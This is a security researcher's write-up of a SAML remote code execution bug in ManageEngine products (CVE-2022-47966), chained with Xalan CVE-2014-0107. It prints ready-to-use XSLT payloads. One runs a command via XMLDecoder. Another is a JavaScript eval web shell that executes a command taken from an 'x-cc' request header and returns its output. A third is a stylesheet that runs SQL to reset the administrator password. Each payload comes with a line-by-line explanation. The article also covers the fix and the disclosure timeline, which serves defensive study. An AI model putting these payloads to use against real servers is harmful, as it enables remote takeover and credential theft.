The OneLogin encrypted SAML response example can be modified with this. The OneLogin page at https://developers.onelogin.com/saml/examples/response provides sample signed and encrypted SAML responses to start from.
Where malicious transforms can be placed
The researcher summarises the injection points in a table:
| Location | Condition | Note |
|---|---|---|
| (XML Signature) References | always | Will become post-auth after xmlsec-1.4.2 |
| (XML Signature) KeyInfo | If server does find key | Can bypass secure validation in xmlsec < 2.2.3 & 2.1.7 |
| (XML Encryption) CipherReference | If server does decrypt SAMLResponse | |
| (XML Encryption) ReferenceList | If server does decrypt SAMLResponse & find key | |
| (XML Encryption) KeyInfo in EncryptedKey | If server does decrypt SAMLResponse & find key | Can bypass secure validation in xmlsec < 2.2.3 & 2.1.7 |
In plain words: the References spot always gets processed, but only before login on old xmlsec. The KeyInfo spot needs the server to look for the key in the message. The encryption spots need the server to actually decrypt the response, and two of them also need it to look for the key.
But ...
Can we really get a RCE when transform in these location?
4. The real problem
Secure processing blocks the easy payload
Since xmlsec 1.4.2, the Apache team enabled the secure-processing feature when performing XSLT transform in TransformXSLT.enginePerformTransform(). This blocks Xalan's extensions, so the earlier stylesheet no longer works. The Java extension namespaces that let the stylesheet call Runtime are exactly what secure processing refuses.
The most dangerous function left in XPath and XSLT transform is document(). XPath is the language used inside XSLT to select parts of a document. The document() function can load another document. But it can only read valid XML files and make blind HTTP GET requests. A blind request is one where you send it but cannot see the response. That is how tint0 found a way to read XML secret files. Not all applications store secrets in XML files, and a blind GET request makes little sense in most products, so a bypass is needed.
CVE-2022-34169 does not work here
A recent integer truncation bug, CVE-2022-34169 (https://bugs.chromium.org/p/project-zero/issues/detail?id=2290), credited to @_fel1x, can bypass this feature. Integer truncation is when a number is silently cut down to fit a smaller storage size, so a large value becomes a small one. In this bug it happens during the XSLTC compile process.
The researcher tried it and failed. At first the assumption was that ManageEngine limits requests to 40000 characters, and that bypassing the limit would reach remote code execution. After digging into CVE-2022-34169, the conclusion was that even bypassing the limit would not give code execution.
The Xalan integer truncation bug happens in the XSLTC compile process, and XSLTC is the default compiler in the JDK. The JDK is the Java Development Kit, the standard Java runtime and tools. XSLTC is a compiler that turns XSLT stylesheets into Java bytecode for speed. It is the default compiler in the JDK, but not in Xalan. If a Xalan library is on the classpath, the default TransformerFactory is org.apache.xalan.processor.TransformerFactoryImpl, the stylesheet is processed by XSLTElementProcessors, and XSLTC is not used, so the integer truncation does not work when the Xalan library is present. The classpath is the list of places Java looks for code. TransformerFactory is the Java class that decides which XSLT engine to use. The default factory is set in META-INF, as can be seen in TransformerFactory.newInstance().
There is hope and then that hope is gone, I'm getting used to it.
CVE-2014-0107 and a content handler
Another known Xalan bug is CVE-2014-0107. Xalan is an XSLT library, and normally nobody lets user input be transformed, so there is no need to update it. People still use Xalan versions below 2.7.2 more than 2.7.2.
CVE-2014-0107 is described as a bug that instantiates an arbitrary class without arguments and accesses an arbitrary URL or resource (https://issues.apache.org/jira/browse/XALANJ-2435). Instantiating a class means creating an object from a Java class, like following a blueprint to build a thing. That is not what is needed on its own. After reviewing the code, the researcher found that this is not a normal class instantiation: any content handler can be set for the XSLT process. The relevant code is org.apache.xml.serializer.SerializerFactory.getSerializer(). A content handler is a component that receives the output of the transform and decides what to do with it. The content is the attacker's input and any handler can be chosen, so something special might be available.
The requirement is a ContentHandler with a constructor without arguments that does something dangerous. A constructor is the code that runs when an object is created. There are 316 implementations of ContentHandler in the JDK, a promising number. Among them is com.sun.beans.decoder.DocumentHandler, which has a handler for each element. It is essentially XMLDecoder.readObject(). XMLDecoder is a Java class whose readObject() turns XML into live Java objects. Taking a sample XMLDecoder.readObject() payload and adding it to the published CVE-2014-0107 payload gives remote code execution, and it is far easier than the integer truncation.
The transform looks like this. Be careful with element attributes: they might be added to the payload element and break the exploit.
<dsig:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" >
<xsl:output method="xml" xalan:content-handler="com.sun.beans.decoder.DocumentHandler" xalan:entities="http://www.example.org/example.bin"
xmlns:xalan="http://xml.apache.org/xalan"/>
<xsl:template match="/">
<xsl:message>XSLT message: trying output extensions.</xsl:message>
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>calc</string>
</void>
</object>
</java>
</xsl:template>
</xsl:stylesheet>
</dsig:Transform>
Line by line:
<dsig:Transform Algorithm="...REC-xslt-19991116">opens the XSLT transform.<xsl:stylesheet version="1.0" ...>opens the stylesheet and declares the XSL namespace.- The
xalan:entitiesattribute points at a placeholder URL. Thexmlns:xalandeclaration makes thexalan:prefix valid. <xsl:template match="/">applies the template to the whole input.<xsl:message>XSLT message: trying output extensions.</xsl:message>writes a harmless message, just to show the template is running.<java version="1.4.0" class="java.beans.XMLDecoder">starts an XMLDecoder document. Theclassattribute names the class to use.<object class="java.lang.Runtime" method="getRuntime">tells the decoder to callRuntime.getRuntime()and use the result as an object.<void method="exec">callsexecon that object.<string>calc</string>is the argument toexec, so the calculator is started.- The closing tags close the object, the decoder document, the template, the stylesheet and the transform.
The author's comment on the result is that you get shells like going shopping.
5. Bonus
Getting output back
Finding a bug and exploiting it are two different processes. For example, an old Liferay version vulnerable to deserialisation without a gadget leaves the researcher watching others claim the bug first. Deserialisation is turning stored bytes back into live objects, and a gadget is a chain of existing code that an attacker can abuse to do something harmful.
This bug can invoke any method on the classpath but does not show anything back. A JSP shell will not do the job because ManageEngine only uses compiled JSP classes, and outbound connections are not reliable. JSP is Java Server Pages, a way to write web pages that run Java code.
Both XSLT transform without secure processing and XMLDecoder.readObject() are method invocations, so a JavaScript eval can be created to get results. JavaScript eval means running JavaScript code from a string. In ManageEngine products, com.adventnet.iam.security.SecurityUtil.getCurrentRequest() gives access to the request. This has to be modified if SecurityUtil is not on the classpath or for other products.
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:ScriptEngineManager="http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager"
xmlns:ScriptEngine="http://xml.apache.org/xalan/java/javax.script.ScriptEngine"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="payload">
<![CDATA[var requestFacade=com.adventnet.iam.security.SecurityUtil.getCurrentRequest().getRequest().getRequest();
var requestFacadeClazz = requestFacade.getClass();
var reqField = requestFacadeClazz.getDeclaredField("request");
reqField.setAccessible(true);
var request = reqField.get(requestFacade);
var response = request.getResponse();
var outputStream = response.getOutputStream();
var cmd = new java.lang.String(request.getHeader("x-cc"));
var listCmd = new java.util.ArrayList();
var isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
if(isWin){
listCmd.add("cmd.exe");listCmd.add("/c");listCmd.add(cmd);
}else{
listCmd.add("bash");listCmd.add("-c");listCmd.add(cmd);
}
var processBuilder = new java.lang.ProcessBuilder(listCmd);
processBuilder.redirectErrorStream(true);
var process = processBuilder.start();
var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var line = new java.lang.String("");
var stringBuilder = new java.lang.StringBuilder();
while((line = bufferedReader.readLine()) != null){
stringBuilder.append(line);stringBuilder.append("\n");
}
var resultString = stringBuilder.toString();
var bytes = resultString.getBytes("UTF-8");
outputStream["write(byte[])"](bytes);
outputStream.close();]]>
</xsl:variable>
<xsl:variable name="name">
<![CDATA[js]]>
</xsl:variable>
<xsl:variable name="scriptEngineManager" select="ScriptEngineManager:new()"/>
<xsl:variable name="scriptEngine" select="ScriptEngineManager:getEngineByName($scriptEngineManager, $name)"/>
<xsl:variable name="result" select="ScriptEngine:eval($scriptEngine, $payload)"/>
<xsl:value-of select="$result"/>
</xsl:template>
</xsl:stylesheet>
Line by line:
<xsl:stylesheet ...>opens the stylesheet and declares namespaces forScriptEngineManagerandScriptEngine, which are Java classes for running scripts, plusObject.<xsl:variable name="payload">starts a variable that holds the JavaScript code. The<![CDATA[ ... ]]>wrapper tells XML to treat the contents as raw text, so the<and>characters inside the script do not confuse the XML parser.var requestFacadeClazz = requestFacade.getClass();gets the Java class of that object, so its fields can be inspected.var reqField = requestFacadeClazz.getDeclaredField("request");finds the private field namedrequest.reqField.setAccessible(true);makes that private field readable.var request = reqField.get(requestFacade);reads the field, giving the real request object.var response = request.getResponse();gets the response object, which is what will be sent back to the browser.var outputStream = response.getOutputStream();gets the stream where the response body is written.var cmd = new java.lang.String(request.getHeader("x-cc"));reads the HTTP header namedx-ccand uses it as the command to run. A header is a small piece of metadata sent with every HTTP request, like a label on a parcel.var listCmd = new java.util.ArrayList();creates a list to hold the command and its arguments.var isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");checks whether the server runs Windows.- The
if(isWin){...}else{...}block buildscmd.exe /c <command>on Windows orbash -c <command>elsewhere. var processBuilder = new java.lang.ProcessBuilder(listCmd);creates a process builder for that command.processBuilder.redirectErrorStream(true);merges error output into normal output, so nothing is lost.var process = processBuilder.start();starts the process.var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());andvar bufferedReader = new java.io.BufferedReader(inputStreamReader);set up reading of the process output.- The
whileloop reads the output line by line into aStringBuilder. var resultString = stringBuilder.toString();turns the collected output into a string.var bytes = resultString.getBytes("UTF-8");converts it to bytes so it can be written to the response.outputStream["write(byte[])"](bytes);writes the bytes to the response body. The bracket syntax is a way to call a specific overloaded method by its signature.outputStream.close();closes the stream.<xsl:variable name="name"><![CDATA[js]]></xsl:variable>sets the script engine name tojs.<xsl:variable name="scriptEngineManager" select="ScriptEngineManager:new()"/>creates aScriptEngineManager.<xsl:variable name="scriptEngine" select="ScriptEngineManager:getEngineByName($scriptEngineManager, $name)"/>asks it for thejsengine.<xsl:variable name="result" select="ScriptEngine:eval($scriptEngine, $payload)"/>runs the JavaScript payload.<xsl:value-of select="$result"/>writes the result into the output.
Changing the admin password
If local username and password authentication still works, the admin password can be changed to admin with com.manageengine.ads.fw.db.util.DBUtil. The researcher notes that a tutorial on resetting the admin password may be needed to edit this.
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:DBUtil="http://xml.apache.org/xalan/java/com.manageengine.ads.fw.db.util.DBUtil"
xmlns:Boolean="http://xml.apache.org/xalan/java/java.lang.Boolean"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="query">
<![CDATA[update AaaPassword set password='$2a$12$fZUC9IK8E/AwtCxMKnCfiu830qUyYB/JRhWpi2k1vgWLC6iLFAgxa', SALT=pgp_sym_encrypt('$2a$12$fZUC9IK8E/AwtCxMKnCfiu','SChar@123Mas!er','s2k-mode=1, cipher-algo=aes256'), algorithm='bcrypt' where password_id in (select ap.password_id from aaaaccpassword ap left join aaaaccount ac on ac.account_id=ap.account_id left join aaalogin al on al.login_id=ac.login_id where al.login_id= 2);]]>
</xsl:variable>
<xsl:variable name="boolean" select="Boolean:valueOf('TRUE')"/>
<xsl:variable name="execute" select="DBUtil:executeQuery($query,$boolean)"/>
<xsl:value-of select="$execute"/>
</xsl:template>
</xsl:stylesheet>
Line by line:
<xsl:stylesheet ...>opens the stylesheet and declares namespaces forDBUtil(ManageEngine's database helper),BooleanandObject.<xsl:variable name="query">starts a variable holding an SQL statement. SQL is the language used to talk to databases.- bcrypt is a password hashing algorithm. A salt is random data added to a password before hashing so identical passwords do not produce identical hashes.
<xsl:variable name="boolean" select="Boolean:valueOf('TRUE')"/>creates a JavaBooleanwith the value true.<xsl:variable name="execute" select="DBUtil:executeQuery($query,$boolean)"/>runs the SQL through ManageEngine's database helper.<xsl:value-of select="$execute"/>writes the result into the output.
As @smaury92 mentioned, if a PMP instance is affected, all stored passwords can be decrypted; the researcher links to https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/. PMP is ManageEngine's Password Manager Pro, a product that stores passwords.
For more SAML bugs, the researcher points to @_fel1x, who found more bugs in other languages (Node, Go, .NET and others).
6. Conclusion
Things to note:
- Locations where a transform element can be injected:
| Location | Condition | Note |
|---|---|---|
| (XML Signature) References | always | Will become post-auth after xmlsec-1.4.2 |
| (XML Signature) KeyInfo | If server does find key | Can bypass secure validation in xmlsec < 2.2.3 & 2.1.7 |
| (XML Encryption) CipherReference | If server does decrypt SAMLResponse | |
| (XML Encryption) ReferenceList | If server does decrypt SAMLResponse & find key | |
| (XML Encryption) KeyInfo in EncryptedKey | If server does decrypt SAMLResponse & find key | Can bypass secure validation in xmlsec < 2.2.3 & 2.1.7 |
- Secure validation is added since 1.5.0.
- CVE-2014-0107 is as critical as CVE-2022-34169 or even more, because it is way easier to exploit. CVE-2022-34169 can be used when there is no Xalan library on the classpath; CVE-2014-0107 can be used if there is Xalan 2.7.1 or below. The researcher wishes they had found this sooner; it was fixed in Xalan 2.7.2.
- This does not only affect ManageEngine products.
- How to fix: update the xmlsec library to version 2.3.0 or higher.
ManageEngine reacted quickly: the researcher reported on 25/10/22 and most products were updated on 28/10/22. But the process of assigning the CVE and publishing the advisory is, in the researcher's view, unacceptable. The advisory was expected sooner, but it was released more than two months after the issue was fixed. CVE-2022-47966 was assigned, but the researcher does not know whether it belongs to Apache XMLSec, Shibboleth OpenSAML or ManageEngine, as there was a lengthy discussion. Vendors keep delaying advisories for fixed bugs, which the researcher cannot use for hunting because of some third-party policy. This is not the first time this has happened, and the researcher asks what can be done about it.
This is the end of the article.
@_l0gg from VcsLab of Viettel Cyber Security
Learn more Discover how our solutions can help you strengthen resilience and elevate your security posture here For the latest security research from the Viettel Cyber Security Experts and Threat Intelligence community, check out our Blog.
Glossary
- API: Application Programming Interface, a defined way for one piece of software to ask another piece of software to do something.
- bcrypt: A password hashing algorithm designed to be slow, so guessing passwords is expensive.
- Blind request: A request where the attacker cannot see the response.
- Breakpoint: A pause point set in a debugger so the program's state can be inspected.
- Canonicalisation: Turning XML into a standard byte sequence before signing or hashing.
- CDATA: An XML wrapper that marks its contents as raw text, so markup characters inside are not parsed.
- Classpath: The list of places Java looks for code when running.
- Content handler: A component that receives the output of a transform and decides what to do with it.
- Constructor: The code that runs when an object is created.
- CVE: Common Vulnerabilities and Exposures, a public catalogue number for a security bug.
- Deserialisation: Turning stored bytes back into live objects.
- Digest: A hash of data, used to check that the data has not changed.
- Gadget: A chain of existing code that an attacker can abuse to do something harmful.
- Header: A small piece of metadata sent with an HTTP request or response.
- HMAC: A keyed hash used as a signature with a shared secret.
- HMAC truncation: Making an HMAC output shorter than it should be, which weakens it.
- IdP: Identity provider, the central login server in SSO.
- Integer truncation: Silently cutting a number down to fit a smaller storage size.
- JDK: Java Development Kit, the standard Java runtime and tools.
- JSP: Java Server Pages, a way to write web pages that run Java code.
- Namespace: A way to say which standard a set of XML tags belongs to, so names do not clash.
- OIDC: OpenID Connect, a modern SSO standard.
- PMP: ManageEngine Password Manager Pro, a product that stores passwords.
- Post-auth: A bug that only works after the attacker is already logged in.
- RCE: Remote code execution, making a server run programs of the attacker's choice.
- Reference: A pointer to a piece of data plus the transforms to apply to it.
- SAML: Security Assertion Markup Language, an SSO standard used mostly by enterprises.
- SAMLResponse: The message SAML passes from the identity provider to the application.
- Salt: Random data added to a password before hashing so identical passwords do not produce identical hashes.
- Secure processing: A safety feature that refuses risky XSLT features such as Java extensions.
- Secure validation: A safety switch in xmlsec that refuses risky signature features.
- Shell: The ability to run commands on a server.
- SPI: Service provider interface, Java's way of plugging in an implementation.
- SQL: The language used to talk to databases.
- SSO: Single Sign-On, one login for many applications.
- Stack trace: The list of function calls that led to the current point in a program.
- Transform: An instruction inside a signed or encrypted message to process the data in a certain way before checking it.
- URI: An address or identifier, such as a file path or a fragment name.
- Xalan: The XSLT engine that ships with Java.
- XML: A text format for structured data using tags in angle brackets.
- XMLDecoder: A Java class that turns XML into live Java objects.
- XML Encryption: A standard for encrypting parts of an XML document.
- XML Signature: A standard for signing XML documents.
- xmlsec: Apache Santuario, a Java library that implements XML Signature and XML Encryption.
- XPath: The language used inside XSLT to select parts of a document.
- XSLT: A language for describing how to turn one XML document into another.
- XSLTC: A compiler that turns XSLT stylesheets into Java bytecode for speed.